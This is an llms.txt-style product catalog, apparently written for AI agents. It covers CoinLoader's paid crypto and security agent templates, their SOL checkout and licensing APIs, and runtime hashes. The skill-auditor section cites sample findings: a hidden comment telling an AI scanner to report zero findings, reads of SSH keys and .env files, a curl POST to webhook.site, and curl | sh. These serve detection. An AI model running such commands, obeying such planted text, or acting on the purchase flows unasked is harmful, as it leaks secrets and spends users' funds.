# CoinLoader.com — Crypto, Solana & Security Agent Templates for Grok Bot > Instant, one-click crypto, Solana, security, and web agent templates that execute locally inside your isolated Grok Bot Linux container (`/workspace`). Non-custodial, zero monthly subscriptions, and powered by the WattCoin Agent Registry (`https://www.wattcoin.org/llms.txt`). > **Dual Runtime in Every Product:** every license key unlocks both (1) a 1-Click Grok Bot skill bundle (`https://x.ai/bot/...`) and (2) a standalone, deterministic, zero-dependency Python 3.10+ single-file CLI (`/runtime/*.py`, standard library only, no `pip install`, `--json` / `--markdown` output) that runs locally in Cursor, Claude Code, Windsurf, CI/CD pipelines (e.g. GitHub Actions), and any macOS/Linux/Windows terminal. - **Canonical Storefront:** https://coinloader.com/ - **Machine-Readable Catalog:** https://coinloader.com/llms.txt - **Full Catalog + Verbatim Sample Reports:** https://coinloader.com/llms-full.txt - **Sister OSINT & Enterprise Storefront:** https://botappstore.com/ - **Value Bundles (Multi-Bot Packs, one `wcl_...` key unlocks all included bots):** https://coinloader.com/#bundles — `defi-wallet-security-pack` ($59 in SOL); `pro-trader-perps-suite` ($69 in SOL); `token-launch-command-center` ($49 in SOL) - **Free Web & API Text Extractor ($0):** https://coinloader.com/bots/web-text-extractor.html (Direct Grok Bot import: https://x.ai/bot/k1oyHmw4iS4VBW1U8_3Ol) - **Bot & Skill Security Auditor ($29 in SOL, `sku: bot-skill-auditor`):** https://coinloader.com/bots/bot-skill-auditor.html - **Solana Wallet Hygiene Bot ($19 in SOL, `sku: solana-wallet-hygiene`, Registry Name: *Solana Wallet Hygiene & Rent Reclaim*):** https://coinloader.com/bots/solana-wallet-hygiene.html - **Retail Token Due-Diligence Bot ($29 in SOL, `sku: solana-token-scanner`, Registry Name: *Solana Token & Mint Due-Diligence Scanner*):** https://coinloader.com/bots/solana-token-scanner.html - **Runtime downloads are license-gated:** `/runtime/` URLs need `X-License-Key: wcl_...` or `X-Agent-Key: wck_...` (unauthenticated requests get `401`). The served file carries a per-license watermark block (5 lines), so compare the `X-Canonical-SHA256` response header (or the SHA-256 after stripping the block) against the pins listed here. Recommended: the setup skill installer (`/workspace/.wattcoin_license_check.py --sku --install-runtime ... --expected-sha256 `). `bot_common.py` has two pinned variants chosen by SKU: `d1941b61b95ca664e4c1286c3bf1918c00e976c2c1601199b19200257650e526` (legacy; served for the older SKUs such as `evm-contract-inspector`, `evm-approval-auditor`, `btc-utxo-hygiene`, `hyperliquid-monitor`, `pumpfun-coin-manager`, `token-launch-command-center`) and `dbbd8521357fedc348cf7dc102435d4412ea26487e08bf067038ba8c66c9bcd1` (current; `token-rugscore`, `cost-basis-ledger`). ## 1. Live Templates (Available Now — 12 Live Agents) ### 1.1 Web & API Text Extractor (FREE + 100 WATT Starter Grant) - **Status:** LIVE NOW (Free) - **Direct Import Link:** https://x.ai/bot/k1oyHmw4iS4VBW1U8_3Ol - **Template ID:** `k1oyHmw4iS4VBW1U8_3Ol` - **Included Skills:** `getting-started`, `web-extractor` - **Capabilities:** 1. **Turn-1 Auto-Onboarding (`getting-started`):** Registers a workspace agent identity via `POST https://www.wattcoin.org/api/v1/agents/register`, writes `WATTCOIN_AGENT_ID` and `WATTCOIN_AGENT_KEY` (`wck_...`) to `/workspace/.wattcoin_env` with `0600` permissions, and completes `onboarding_v1` (25 WATT) + `starter_v1` (75 WATT) for **100 WATT** total. 2. **10/Day Free Text Extraction (`web-extractor`):** Calls `POST https://www.wattcoin.org/api/v1/scrape` (`format: "text"`) using static HTTP fetch + BeautifulSoup readable text extraction and reports `X-Quota-Limit` / `X-Quota-Remaining`. 3. **Paid Modes & Local Fallback:** Supports 100 WATT/call `html` and `json` modes (never spends WATT without explicit user confirmation) and falls back to local `curl` + Python HTML-to-text in `/workspace` when daily quota is exhausted. ### 1.2 Bot & Skill Security Auditor ($29 One-Time in SOL) - **Status:** LIVE NOW ($29 USD settled on-chain in SOL via CoinLoader.com or BotAppStore.com checkout modal) - **Deliverable:** *See every network call, credential read, and shell command in a third-party skill, with line numbers, before you run it.* - **SKU Identifier:** `bot-skill-auditor` - **Product Page URL:** https://coinloader.com/bots/bot-skill-auditor.html - **Included Skills:** `auditor-setup`, `bot-skill-auditor` - **Checkout & Licensing Flow:** 1. **Request Quote:** `POST https://www.wattcoin.org/api/v1/agents/license/quote` with `{"sku": "bot-skill-auditor"}` returns a 15-minute SOL quote (`order_id`, `checkout_token`, `amount_sol`, `amount_lamports` with a unique 4-digit lamport tag, `memo: "wcl:"`, and official treasury wallet `Atu5phbGGGFogbKhi259czz887dSdTfXwJxwbuE5aF5q`). 2. **Verify Payment & Issue License:** `POST https://www.wattcoin.org/api/v1/agents/license/purchase` with `{"order_id", "checkout_token", "tx_signature"}` verifies the Solana transfer on-chain (`confirmed` commitment) and returns the private Grok Bot template URL + one-time `wcl_<64-hex>` license code. 3. **Turn-1 Binding (`auditor-setup`):** Installs read-only helpers `/workspace/.wattcoin_license_check.py` and `/workspace/.wattcoin_audit_prep.py` (`0500`), registers/activates `/workspace/.wattcoin_env` (`0600`), and binds the `wcl_...` license via `POST https://www.wattcoin.org/api/v1/agents/license/claim` (supports up to 3 workspace-reset rebinds). 4. **5-Bucket Static Inspection (`bot-skill-auditor`):** Wraps untrusted artifacts in random `>` tags and reports verbatim line-cited findings across: - Bucket 1: Prompt, confirmation & auditor bypass (e.g., `crypto-airdrop-helper/SKILL.md:L14` hidden HTML comment instructing the scanner to report 0 findings) - Bucket 2: Secret, filesystem, self-modification & OS persistence access (e.g., `L29` reading `~/.ssh/id_ed25519` and `/workspace/.env`) - Bucket 3: Outbound network, exfiltration & MCP connectors (e.g., `L31` `curl -X POST https://webhook.site/...` paired with `L29` as a combined exfiltration path `L29 -> L31`) - Bucket 4: Unverifiable runtime execution & obfuscation (`curl | sh`, unpinned `npx`/`pip`, base64/hex payloads) - Bucket 5: Local machine escalation (`ListMachines`, `machineId`, `CopyToBox` / `CopyFromBox`) 5. **Audit Coverage Accounting (`SCOPE_NOTE.txt`):** Prepends verbatim `SCOPE_NOTE.txt` and reports exact `Files Audited (N/M)` and `Files Skipped / Unread Portions` (plus `hidden_unicode_lines` and `long_lines`) at the top of every report. 6. **What This Static Audit Does Not Catch:** Static inspection flags and cites lines present in the files at audit time (`Files Audited` / `Files Skipped`). It never proves a skill is safe, never outputs a "Safe/Pass" badge or numeric grade, and cannot catch payloads fetched dynamically at runtime, multi-stage remote API responses, time-bombed/state-gated logic, or off-file author/account compromise. ### 1.3 Solana Wallet Hygiene Bot ($19 One-Time in SOL) - **Status:** LIVE NOW ($19 USD settled on-chain in SOL via CoinLoader.com or BotAppStore.com checkout modal) - **Deliverable:** *Find the rent locked in empty token accounts and stale delegations on your wallet, then reclaim it yourself non-custodially.* - **SKU Identifier:** `solana-wallet-hygiene` - **Alternate / Registry Name:** Solana Wallet Hygiene & Rent Reclaim - **Product Page URL:** https://coinloader.com/bots/solana-wallet-hygiene.html - **Included Skills:** `wallet-hygiene-setup`, `solana-wallet-hygiene` - **Storefront Checkout URL:** https://coinloader.com/#card-solana-wallet-hygiene - **Checkout & Licensing Flow:** 1. **Request Quote:** `POST https://www.wattcoin.org/api/v1/agents/license/quote` with `{"sku": "solana-wallet-hygiene", "source": "coinloader"}` returns a 15-minute SOL quote for `$19.00 USD` (`order_id`, `checkout_token`, `amount_sol`, `amount_lamports` with a unique 4-digit lamport tag, `memo: "wcl:"`, and treasury wallet `Atu5phbGGGFogbKhi259czz887dSdTfXwJxwbuE5aF5q`). 2. **Verify Payment & Issue License:** `POST https://www.wattcoin.org/api/v1/agents/license/purchase` with `{"sku": "solana-wallet-hygiene", "order_id", "checkout_token", "tx_signature"}` verifies the Solana transfer on-chain (`confirmed` commitment) and returns the private Grok Bot template URL + one-time `wcl_<64-hex>` license code. 3. **Turn-1 Binding:** Registers/activates `/workspace/.wattcoin_env` (`0600`) and binds the `wcl_...` license via `POST https://www.wattcoin.org/api/v1/agents/license/claim` (up to 3 workspace-reset rebinds); entitlement check is `GET https://www.wattcoin.org/api/v1/agents/license?sku=solana-wallet-hygiene` -> `"sku_licensed": true`. 4. **3-Bucket Report (`solana-wallet-hygiene`):** Scans legacy SPL (`Tokenkeg...`) and Token-2022 (`TokenzQd...`) accounts and classifies each as: - `SAFE_TO_RECLAIM`: empty accounts, no delegate, not frozen — exact rent of `0.00203928 SOL` (`2,039,280 lamports`) per standard SPL account - `NEEDS_CONFIRMATION`: active delegate / non-zero dust, confirmed one-by-one - `DO_NOT_TOUCH`: active balances, LP receipts, NFTs, frozen accounts, unharvested Token-2022 fees 5. **Non-Custodial Reclaim Commands:** Phantom / Solflare steps and `spl-token close-account` / `spl-token revoke` CLI commands; the user signs everything. 6. **Guardrails:** Never asks for a seed phrase or private key (refuses if pasted), never signs or broadcasts transactions. ### 1.4 Retail Token Due-Diligence Bot ($29 One-Time in SOL) - **Status:** LIVE NOW ($29 USD settled on-chain in SOL via CoinLoader.com or BotAppStore.com checkout modal) - **Deliverable:** *Verifiable, timestamped on-chain facts for any Solana mint — mechanics, not motives.* - **SKU Identifier:** `solana-token-scanner` - **Alternate / Registry Name:** Solana Token & Mint Due-Diligence Scanner - **Product Page URL:** https://coinloader.com/bots/solana-token-scanner.html - **Included Skills:** `solana-token-scanner-setup`, `solana-token-scanner` - **Storefront Checkout URL:** https://coinloader.com/#card-solana-token-scanner - **Checkout & Licensing Flow:** 1. **Request Quote:** `POST https://www.wattcoin.org/api/v1/agents/license/quote` with `{"sku": "solana-token-scanner", "source": "coinloader"}` returns a 15-minute SOL quote for `$29.00 USD` (`order_id`, `checkout_token`, `amount_sol`, `amount_lamports` with a unique 4-digit lamport tag, `memo: "wcl:"`, and treasury wallet `Atu5phbGGGFogbKhi259czz887dSdTfXwJxwbuE5aF5q`). 2. **Verify Payment & Issue License:** `POST https://www.wattcoin.org/api/v1/agents/license/purchase` with `{"sku": "solana-token-scanner", "order_id", "checkout_token", "tx_signature"}` verifies the Solana transfer on-chain (`confirmed` commitment) and returns the private Grok Bot template URL + one-time `wcl_<64-hex>` license code. 3. **Turn-1 Binding:** Registers/activates `/workspace/.wattcoin_env` (`0600`) and binds the `wcl_...` license via `POST https://www.wattcoin.org/api/v1/agents/license/claim` (up to 3 workspace-reset rebinds); entitlement check is `GET https://www.wattcoin.org/api/v1/agents/license?sku=solana-token-scanner` -> `"sku_licensed": true`. 4. **5-Section Report (`solana-token-scanner`):** - Section 1: Mint & Program Identity - Section 2: Authority & Token-2022 Extension Controls (`TransferFeeConfig`, `PermanentDelegate`, `TransferHook`, `DefaultAccountState`) - Section 3: Top-20 Holder Concentration (`getTokenLargestAccounts`) - Section 4: DEX Liquidity & Pair Snapshot (DexScreener) - Section 5: Mandatory Non-Advice Scope Note 5. **Guardrails:** Never outputs "safe/unsafe", "legit", "scam", or "rug" labels and never assigns a numerical score; every metric cites its RPC call, slot/timestamp, or API source. ### 1.5 Pump.fun Coin & Community Manager ($29 One-Time in SOL) - **Status:** LIVE NOW ($29 USD settled on-chain in SOL via CoinLoader.com checkout modal) - **SKU Identifier:** `pumpfun-coin-manager` - **Product Page URL:** https://coinloader.com/bots/pumpfun-coin-manager.html - **Included Skills:** `pumpfun-coin-manager-setup`, `pumpfun-coin-manager` - **Summary:** Read-only Pump.fun launch auditor and community-thread delta monitor for Grok Bot ($29 SOL). Finds missing links, creator bio/X gaps, empty Callouts and listing mismatches; drafts replies you review and post. - **Capabilities:** - 16-key delta monitor (`--state` + `--delta`): authority reinstated, metadata URI changed, supply increased, ban or hidden coin, new Callouts and replies, fee-sharing and creator-profile edits, large new holders, creator sells, liquidity drops, pair dormant/active, closed link gaps, new bot followers. - Point-in-time audit: missing website/Discord/Telegram in IPFS metadata, creator bio vs `--expected-website`, `--expected-discord`, `--expected-x`, empty Callout tab, GeckoTerminal link gaps, dormant DexScreener pairs, RugCheck risks. - IPFS metadata read through two hash-verified gateways; Token-2022 authorities and extensions read from public Solana RPC. - `--draft-replies` emits a bio, creator anchor Callout, on-chain transparency Callout and per-Callout reply drafts. Exit codes 0/1/2/3 (clean/MEDIUM/HIGH/CRITICAL), 11 when data sources are degraded. - **Boundaries:** - Never posts, signs, or holds keys; every Callout, reply and bio is a draft for a human. - Never suggests wash-trading to wake a dormant aggregator pair. - Never DMs or tags underwater holders, and never makes price or return claims. - Findings are heuristics with stated evidence, not verdicts. - **Storefront Checkout URL:** https://coinloader.com/#card-pumpfun-coin-manager - **Full Verbatim Sample:** https://coinloader.com/bots/pumpfun-coin-manager.html#sample-output and https://coinloader.com/llms-full.txt ### 1.6 Token Launch Command Center ($49 One-Time in SOL) - **Status:** LIVE NOW ($49 USD settled on-chain in SOL via CoinLoader.com checkout modal) - **SKU Identifier:** `token-launch-command-center` - **Product Page URL:** https://coinloader.com/bots/token-launch-command-center.html - **Included Skills:** `token-launch-command-center-setup`, `token-launch-command-center` - **Summary:** Flagship Pump.fun launch bundle for Grok Bot ($49 SOL): coin audit and delta monitor plus a gated X / Discord / Telegram / Bluesky publisher with lint, HMAC approval and dry-run dispatch. - **Capabilities:** - `command_center.py init` writes a config from `crypto_launch_preset.json` (banned-term list, link allowlist, X in free Web Intent mode). - `command_center.py audit MINT --queue` runs the read-only audit and queues fact-only drafts; Gate 1 lint runs on each draft. - Gate 2 re-verifies an HMAC over the exact approved text, expiry and lint before any send; edited text is refused. Dispatcher is a dry run unless `--live`. - X: free 1-click Web Intents by default; paid API (2026 pay-per-use, $0.015 plain post, $0.20 with a link) only with explicit opt-in. - Bundled modules are tested byte-identical to the standalone products. - **Boundaries:** - No wallet keys, signing, or auto-posting; `--live` is explicit and per item. - No price, return or 'next X' claims; no safe/scam/rug verdicts. - No wash-trading advice, no unsolicited DMs or holder tags. - An ambiguous send is marked unknown and never retried automatically. - **Storefront Checkout URL:** https://coinloader.com/#card-token-launch-command-center - **Full Verbatim Sample:** https://coinloader.com/bots/token-launch-command-center.html#sample-output and https://coinloader.com/llms-full.txt ### 1.7 EVM Smart Contract & Proxy Inspector ($29 One-Time in SOL) - **Status:** LIVE NOW ($29 USD settled on-chain in SOL via CoinLoader.com checkout modal) - **SKU Identifier:** `evm-contract-inspector` - **Product Page URL:** https://coinloader.com/bots/evm-contract-inspector.html - **Included Skills:** `evm-contract-inspector-setup`, `evm-contract-inspector` - **Summary:** Read-only EVM smart contract and proxy upgradeability inspector for Grok Bot ($29 SOL). Resolves EIP-1967, EIP-1822, EIP-1167 and ZeppelinOS proxy slots, Safe multisig and Timelock controllers, Sourcify v2 source verification, and dangerous opcodes across Ethereum, Base, and Arbitrum. - **Capabilities:** - Batched JSON-RPC slot resolution across `Ethereum (`eth`, 1)`, `Base (`base`, 8453)`, and `Arbitrum One (`arb`, 42161)`: EIP-1967 (`implementation`, `admin`, `beacon`), EIP-1822 UUPS, ZeppelinOS legacy (`0x7050c9e0...` / `0x10d6a54a...`), and EIP-1167 minimal proxy clones. - Governance & controller chain probing (`--deep`, `--max-depth 2`): classifies Safe multisigs (`getThreshold()` / `getOwners()`), Timelocks (`getMinDelay()` / `delay()`), ProxyAdmin contracts, or single-key EOAs (`EOA_ADMIN`). - Source verification via `Sourcify v2` (`fields=abi,proxyResolution,compilation`) with Blockscout v2 fallback, plus CBOR-stripped opcode scanning that skips `PUSH1..PUSH32` immediate bytes before flagging `SELFDESTRUCT` (`0xff`) or unexpected `DELEGATECALL` (`0xf4`). - Stateful delta monitor (`--state PATH --delta`): emits `EVENT` / `NEW` / `CHANGED` / `RESOLVED` diffs whenever an implementation address, proxy admin, Safe threshold, or timelock delay changes. 100% Python stdlib, 55 unit tests. - **Boundaries:** - Strictly read-only: never asks for private keys or seed phrases, and never builds, signs, or broadcasts transactions. - Never labels a contract 'safe', 'audited', or 'rug-proof'; an EOA admin is not proof of weak custody (HSM/MPC keys look identical on-chain). - Opcode scans are byte-level heuristics, not formal verification or a substitute for a source audit. - **Runtime URL:** https://coinloader.com/runtime/evm_contract_inspector.py (SHA-256 `036398c44b16fb9b59ba72dfc3ea1872dcb93296d16b3efd190a0fa249074820`) + https://coinloader.com/runtime/bot_common.py (SHA-256 `d1941b61b95ca664e4c1286c3bf1918c00e976c2c1601199b19200257650e526`) - **Storefront Checkout URL:** https://coinloader.com/#card-evm-contract-inspector - **Full Verbatim Sample:** https://coinloader.com/bots/evm-contract-inspector.html#sample-output and https://coinloader.com/llms-full.txt ### 1.8 EVM Wallet Approval & Permit2 Risk Auditor ($19 One-Time in SOL) - **Status:** LIVE NOW ($19 USD settled on-chain in SOL via CoinLoader.com checkout modal) - **SKU Identifier:** `evm-approval-auditor` - **Product Page URL:** https://coinloader.com/bots/evm-approval-auditor.html - **Included Skills:** `evm-approval-auditor-setup`, `evm-approval-auditor` - **Runtime URL:** https://coinloader.com/runtime/evm_approval_auditor.py (SHA-256 `eab5dc79cb998a2ac39093748e6aba186f88a23e28f1155f807ade3a02eaa518`) + https://coinloader.com/runtime/bot_common.py (SHA-256 `d1941b61b95ca664e4c1286c3bf1918c00e976c2c1601199b19200257650e526`) - **Summary:** Read-only EVM wallet approval and Permit2 risk auditor for Grok Bot ($19 SOL). Reads live ERC-20 allowances and Permit2 sub-allowances across Ethereum, Base, and Arbitrum, classifies every spender (EOA, unverified, unlabeled, or curated), and prints exact approve(spender, 0) revoke and Permit2 lockdown call-data that you submit yourself. - **Capabilities:** - Live allowance reads across Ethereum (`eth`, 1), Base (`base`, 8453), and Arbitrum One (`arb`, 42161): ERC-20 `allowance(owner, spender)` plus Permit2 `allowance(owner, token, spender)` (amount, expiration, nonce) over curated stablecoins, WETH, WBTC and LSTs, Blockscout-discovered holdings, and bounded `eth_getLogs` Approval-event discovery (`--lookback-blocks`, default 20000). - Spender classification with balance-at-risk per pair: `EOA_SPENDER` and unverified unlabeled contracts (`UNVERIFIED_SPENDER`) are CRITICAL, unlimited allowances to unlabeled verified contracts (`UNKNOWN_VERIFIED_SPENDER`) are HIGH, unlimited allowances to curated spenders (Uniswap Permit2 & routers, 1inch, CoW Protocol, 0x, ParaSwap, Morpho Blue, Aave V3) are MEDIUM, plus `PERMIT2_ACTIVE_SUBALLOWANCE` / `PERMIT2_EXPIRED_SUBALLOWANCE`. - Non-custodial remediation call-data: exact `to` + `data` for `approve(spender, 0)` on each flagged token and a single batched Permit2 `lockdown((token, spender)[])` transaction, displayed for you to submit from your own wallet (Rabby, MetaMask, Safe, or hardware signer). - Stateful delta monitor (`--state PATH --delta`): emits `NEW_APPROVAL`, `ALLOWANCE_INCREASED`, and `APPROVAL_REVOKED` events between runs, with `--json` output and exit codes 0 clean / 1 MEDIUM / 2 HIGH / 3 CRITICAL / 10 bad input / 11 degraded sources. 1,181 lines stdlib Python, 87 passing unit tests. - **Boundaries:** - Strictly read-only (`eth_blockNumber`, `eth_call`, `eth_getCode`, `eth_getStorageAt`, `eth_getLogs`): never asks for private keys or seed phrases, and never signs, builds for submission, or broadcasts a transaction. - “No findings” never means “no approvals exist”: coverage is the stated tokens, spenders, and log window. NFT `setApprovalForAll` and unlisted tokens/spenders are outside v1 unless supplied with `--tokens` / `--spenders`. - An unlabeled spender is unknown, not malicious; refuses to scan third-party wallets for exploitation, rank wallets by balance, or build phishing/drainer lists. Not financial, legal, or tax advice. - **Storefront Checkout URL:** https://coinloader.com/#card-evm-approval-auditor - **Full Verbatim Sample:** https://coinloader.com/bots/evm-approval-auditor.html#sample-output and https://coinloader.com/llms-full.txt ### 1.9 Bitcoin Wallet & UTXO Privacy/Fee Hygiene Auditor ($19 One-Time in SOL) - **Status:** LIVE NOW ($19 USD settled on-chain in SOL via CoinLoader.com checkout modal) - **SKU Identifier:** `btc-utxo-hygiene` - **Product Page URL:** https://coinloader.com/bots/btc-utxo-hygiene.html - **Included Skills:** `btc-utxo-hygiene-setup`, `btc-utxo-hygiene` - **Runtime URL:** https://coinloader.com/runtime/btc_utxo_hygiene.py (SHA-256 `e3b8d9be91fb2ae75d272fea248d484a2c4076fd472e40eaef73ea903257d5ee`) + https://coinloader.com/runtime/bot_common.py (SHA-256 `d1941b61b95ca664e4c1286c3bf1918c00e976c2c1601199b19200257650e526`) - **Summary:** Read-only Bitcoin wallet and UTXO privacy/fee hygiene auditor for Grok Bot ($19 SOL). Reads address stats, UTXO sets, recent transactions and fee estimates from public Mempool.space / Blockstream Esplora endpoints, flags address reuse, dusting, fragmentation, stranded UTXOs, Ordinals inscriptions and common-input-ownership exposure, and prints coin-control and consolidation commands that you run yourself. - **Capabilities:** - Validates Bitcoin mainnet addresses (Base58Check, Bech32, Bech32m) and reads address stats, the UTXO set, recent transactions, fee estimates and BTC/USD price from public Mempool.space with Blockstream Esplora fallback (or an `--offline` fixture). - UTXO hygiene: value buckets, `UTXO_FRAGMENTATION`, `STRANDED_UTXOS`, `LEGACY_SCRIPT_TYPE`, `DUSTING_ATTACK_SUSPECT`, and a creating-transaction witness scan that marks Ordinals-inscription UTXOs (`INSCRIPTION_PROTECTED`) so they are never swept. - Fee planning: consolidation plan and cost-vs-savings matrix for P2WPKH or P2TR outputs with break-even future fee rate and a `CONSOLIDATION_WINDOW_OPEN` signal. - Privacy exposure: `ADDRESS_REUSE`, `CIOH_COSPEND_EXPOSURE`, `CIOH_CROSS_ADDRESS_LINK`, `ROUND_NUMBER_CHANGE_LEAK`, `SCRIPT_TYPE_MISMATCH_CHANGE` and a 0-100 hygiene score. - Non-custodial coin control: `bitcoin-cli lockunspent` freeze commands, an unsigned-PSBT `bitcoin-cli sendall ... psbt=true` consolidation command and Sparrow / Electrum steps, displayed for you to run yourself. - Stateful delta monitor (`--state PATH --delta`): `NEW_DUST`, `UTXO_COUNT_CHANGED`, `CONSOLIDATION_WINDOW_OPEN` events, with `--format text|markdown|json` output and exit codes 0 clean / 1 MEDIUM / 2 HIGH / 3 CRITICAL / 10 bad input / 11 degraded sources. 1,242 lines stdlib Python, 157 passing unit tests. - **Boundaries:** - Strictly read-only (public Mempool.space / Blockstream Esplora GET endpoints): never accepts private keys, WIF, extended private keys, seed phrases or PSBTs, and never builds, signs or broadcasts a transaction. - Heuristics are probabilistic and cover only the transactions and small UTXOs the report states it checked; "no findings" never means "private" or "safe to sweep". - Refuses to target third-party wallets for exploitation or deanonymisation, rank wallets by balance, or build dust-attack target lists. Not financial, legal, or tax advice. - **Storefront Checkout URL:** https://coinloader.com/#card-btc-utxo-hygiene - **Full Verbatim Sample:** https://coinloader.com/bots/btc-utxo-hygiene.html#sample-output and https://coinloader.com/llms-full.txt ### 1.10 Hyperliquid Perps, Funding & Liquidation Risk Monitor ($29 One-Time in SOL) - **Status:** LIVE NOW ($29 USD settled on-chain in SOL via CoinLoader.com checkout modal) - **Deliverable:** *Audit Hyperliquid perpetual positions, exact liquidation distance %, TP/SL stop coverage, cross-venue predicted funding APR (Hyperliquid vs Binance/Bybit), mark-oracle basis, and HLP vault posture — 100% read-only with zero API or wallet keys.* - **SKU Identifier:** `hyperliquid-monitor` - **Product Page URL:** https://coinloader.com/bots/hyperliquid-monitor.html - **Runtime URL:** https://coinloader.com/runtime/hyperliquid_monitor.py (`SHA-256: d9b8b58b9be66617177c238b195c3393ec817dfc591366797fa30f582db7f952`, 1,312 lines Python 3 stdlib, 252 unit tests) + https://coinloader.com/runtime/bot_common.py (`SHA-256: d1941b61b95ca664e4c1286c3bf1918c00e976c2c1601199b19200257650e526`) - **Included Skills:** `hyperliquid-monitor-setup`, `hyperliquid-monitor` - **Storefront Checkout URL:** https://coinloader.com/#card-hyperliquid-monitor ### 1.11 Cross-Chain Token RugScore & Honeypot Scanner ($29 One-Time in SOL) - **Status:** LIVE NOW ($29 USD in SOL, settled on-chain via CoinLoader.com checkout modal; also included at no extra cost in `defi-wallet-security-pack` ($59) and `pro-trader-perps-suite` ($69)) - **Deliverable:** *Read-only, deterministic 0-100 RugScore with risk tier and `audit_sha256` for Solana SPL / Token-2022 mints and Ethereum, Base & Arbitrum token contracts: mint/freeze authority, Token-2022 extension traps, holder concentration, proxy admins, opcode traps, source verification and liquidity.* - **SKU Identifier:** `token-rugscore` - **Product Page URL:** https://coinloader.com/bots/token-rugscore.html - **Runtime URL:** https://coinloader.com/runtime/token_rugscore.py (SHA-256 `2f8190fa27904d2ebd67606bea6290f39048c7ab77a6557440fc8ff67a1d363f`; standalone zero-dependency Python 3.10+ CLI, `--json` / `--markdown` output, 1200x675 PNG audit receipts) + https://coinloader.com/runtime/bot_common.py (SHA-256 `dbbd8521357fedc348cf7dc102435d4412ea26487e08bf067038ba8c66c9bcd1`) - **Included Skills:** `token-rugscore-setup`, `token-rugscore` - **Rule IDs:** Solana `RS-SOL-01..05` (mint authority, freeze authority, Token-2022 extensions, holder concentration, liquidity depth); EVM `RS-EVM-01..04` (proxy admin, opcode traps, source verification, liquidity) - **Risk tiers:** 0-24 LOW, 25-49 MODERATE, 50-74 HIGH, 75-100 CRITICAL - **Boundaries:** strictly read-only; never asks for private keys or seed phrases; never builds, signs or broadcasts a transaction; never labels a token "safe", "audited" or "rug-proof"; not financial advice. - **Storefront Checkout URL:** https://coinloader.com/#card-token-rugscore ### 1.12 Multi-Chain Cost-Basis, Wash-Sale & Tax Lot Auditor ($29 One-Time in SOL) - **Status:** LIVE NOW ($29 USD in SOL, settled on-chain via CoinLoader.com checkout modal; also payable by card via Stripe Checkout) - **Deliverable:** *Read-only, deterministic FIFO / LIFO / HIFO cost-basis audit with IRS Form 8949 / Schedule D compatible rows, short-term (< 365 days) vs long-term (>= 365 days) gains, wash-sale risk flags and an `audit_sha256`, from a normalized .json/.csv transaction export or a Solana, EVM or Bitcoin wallet address.* - **SKU Identifier:** `cost-basis-ledger` - **Product Page URL:** https://coinloader.com/bots/cost-basis-ledger.html - **Runtime URL:** https://coinloader.com/runtime/cost_basis_ledger.py (SHA-256 `87c41f7e0b287d9ea64765e1fe6872ab72950474e156673fa0752ff4031a4824`; standalone zero-dependency Python 3 CLI, `--json` / `--markdown` / `--csv-out` output, 1200x675 PNG audit receipts) + https://coinloader.com/runtime/bot_common.py (SHA-256 `dbbd8521357fedc348cf7dc102435d4412ea26487e08bf067038ba8c66c9bcd1`) - **Included Skills:** `cost-basis-ledger-setup`, `cost-basis-ledger` - **Rule IDs:** `CB-WASH-01` (wash-sale 30-day rebuy), `CB-FEE-01` (unclaimed gas/network fees), `CB-LOT-01` (missing / zero cost basis), `CB-HIFO-01` (accounting-method tax delta), `CB-STLT-01` (330-364 day holding-period alert) - **Risk tiers:** 0-24 LOW, 25-49 MEDIUM, 50-74 HIGH, 75-100 CRITICAL - **Boundaries:** strictly read-only; never asks for private keys or seed phrases; never signs or broadcasts a transaction; `--wallet` without `--lots-file` uses a labelled sample ledger because public RPC history has no USD prices; wash-sale treatment of digital assets is unsettled; not tax, legal or financial advice. - **Storefront Checkout URL:** https://coinloader.com/#card-cost-basis-ledger ## Value Bundles — Multi-Bot Packs (3 Live Bundle SKUs; One License Key Unlocks All Included Bots) Bundle SKUs are priced in USD and paid in SOL via the same non-custodial checkout (`POST https://www.wattcoin.org/api/v1/agents/license/quote` with `sku: `, `source: "coinloader"`). A single bundle purchase returns **one** `wcl_<64-hex>` bearer license code that unlocks **every** member bot in the pack (up to 3 workspace-reset rebinds). The `/api/v1/agents/license/purchase` response also includes `included_skus` (member SKU list) and `bundle_templates` (an array of `{sku, name, template_url}` with one unlisted `https://x.ai/bot/` Grok Bot template per member) so you can import every bot in the pack. Activate each imported bot on its Turn 1 with the same `wcl_...` code. Storefront section: https://coinloader.com/#bundles ### DeFi & Multi-Chain Wallet Security Pack ($59 in SOL, `sku: defi-wallet-security-pack`, 5-Bot Bundle — Save $66 vs $125 list) - **Bundle Price:** $59.00 USD, paid in SOL at the live USD/SOL rate (individual list total: $125). - **Included member SKUs (`included_skus`):** `solana-wallet-hygiene`, `solana-token-scanner`, `evm-approval-auditor`, `evm-contract-inspector`, `token-rugscore` - **Members:** - Solana Wallet Hygiene Bot (`solana-wallet-hygiene`, $19 list): https://coinloader.com/bots/solana-wallet-hygiene.html - Retail Token Due-Diligence Bot (`solana-token-scanner`, $29 list): https://coinloader.com/bots/solana-token-scanner.html - EVM Wallet Approval & Permit2 Risk Auditor (`evm-approval-auditor`, $19 list): https://coinloader.com/bots/evm-approval-auditor.html - EVM Smart Contract & Proxy Inspector (`evm-contract-inspector`, $29 list): https://coinloader.com/bots/evm-contract-inspector.html - Cross-Chain Token RugScore & Honeypot Scanner (`token-rugscore`, $29 list, included at no extra cost): https://coinloader.com/bots/token-rugscore.html - **License:** one `wcl_...` code unlocks all member bots in this bundle; the purchase response returns `bundle_templates` with a per-bot unlisted template URL. ### Pro Trader & Perps Risk Suite ($69 in SOL, `sku: pro-trader-perps-suite`, 5-Bot Bundle — Save $56 vs $125 list) - **Bundle Price:** $69.00 USD, paid in SOL at the live USD/SOL rate (individual list total: $125). - **Included member SKUs (`included_skus`):** `hyperliquid-monitor`, `solana-token-scanner`, `btc-utxo-hygiene`, `solana-wallet-hygiene`, `token-rugscore` - **Members:** - Hyperliquid Perps, Funding & Liquidation Risk Monitor (`hyperliquid-monitor`, $29 list): https://coinloader.com/bots/hyperliquid-monitor.html - Retail Token Due-Diligence Bot (`solana-token-scanner`, $29 list): https://coinloader.com/bots/solana-token-scanner.html - Bitcoin Wallet & UTXO Privacy/Fee Hygiene Auditor (`btc-utxo-hygiene`, $19 list): https://coinloader.com/bots/btc-utxo-hygiene.html - Solana Wallet Hygiene Bot (`solana-wallet-hygiene`, $19 list): https://coinloader.com/bots/solana-wallet-hygiene.html - Cross-Chain Token RugScore & Honeypot Scanner (`token-rugscore`, $29 list, included at no extra cost): https://coinloader.com/bots/token-rugscore.html - **License:** one `wcl_...` code unlocks all member bots in this bundle; the purchase response returns `bundle_templates` with a per-bot unlisted template URL. ### Token Launch Command Center 